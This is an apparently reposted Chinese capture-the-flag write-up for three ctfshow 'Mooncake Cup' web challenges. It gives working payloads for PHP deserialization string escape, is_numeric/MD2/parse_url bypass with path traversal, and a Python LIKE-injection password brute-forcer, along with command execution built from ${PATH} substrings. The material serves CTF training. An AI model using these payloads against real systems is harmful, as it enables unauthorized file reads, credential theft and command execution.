ctfshow-月饼杯
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow-月饼杯相关的知识,希望对你有一定的参考价值。
web1_此夜圆
考点
php反序列化字符逃逸
思路
观察 index.php 代码,很容易发现是php反序列化字符逃逸中字符增多的考点,我们要将password的值变为
yu22x
,从而达到包含 flag.php 的目的,我们需要逃逸的部分为";s:8:"password";s:5:"yu22x";}
,长度为30,所以我们需要15个Firebasky
来达到逃逸这部分字符串的目的
Payload
index.php代码
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
Payload:
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
考点
is_numeric绕过、MD2绕过、parse_url绕过
思路
- 第一层绕过:a=1e-162,尝试后发现数只要在-323到-162之间的都可以
- 第二层绕过:用0e开头的数,一次加密后也是0e的一个数和两次加密后也是0e的数就可以绕过,
b=0e652024452
,c=0e603448399
- 第三层绕过,前两层绕过后,提示我们flag在
fl0g.txt
中,由于php遇到不认识的协议就会当目录处理,例如a://aaa/…/…/etc/passwd
之类的,所以我们可以利用a://ctfshow.com/../../../../../../../fl0g.txt
来绕过
Payload
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
Payload:
GET:?a=1e-162&b=0e652024452&c=0e603448399
POST:url=a://ctfshow.com/../../../../../../../fl0g.txt
web3_莫负婵娟
考点
like注入、Linux环境变量构造执行命令、通配符利用
思路
- F12查看源码发现
SELECT * FROM users where username like binary('$username') and password like binary('$password')
,猜测是like注入
- like模糊查询可以使用
%
匹配多个字符,_
匹配单个字符,测试后发现%
被过滤,密码长度为32位,注入得到密码67815b0c009ee970fe4014abaa3Fa6A0
- 登录进去后FUZZ发现小写字母都被过滤了,大写字母、数字、 、 : 没 被 过 滤 , 我 们 利 用 L i n u x 的 环 境 变 量 ‘ 、: 没被过滤,我们利用Linux的环境变量` 、:没被过滤,我们利用Linux的环境变量‘PATH`来构造小写字母执行命令
- 构造
ls
为${PATH:5:1}${PATH:2:1}
,发现flag文件名字及位置,接着构造nl flag.php
为0;${PATH:14:1}${PATH:5:1} ????.???
,获取flag
Payload
like注入脚本
import requests
import string
strs = string.digits+string.ascii_letters
url = 'http://d274b648-0dad-4058-9b20-9a7a35424df5.chall.ctf.show/login.php'
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\\t')
for j in strs:
password = pwd + j + (31-i)*'_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
以上是关于ctfshow-月饼杯的主要内容,如果未能解决你的问题,请参考以下文章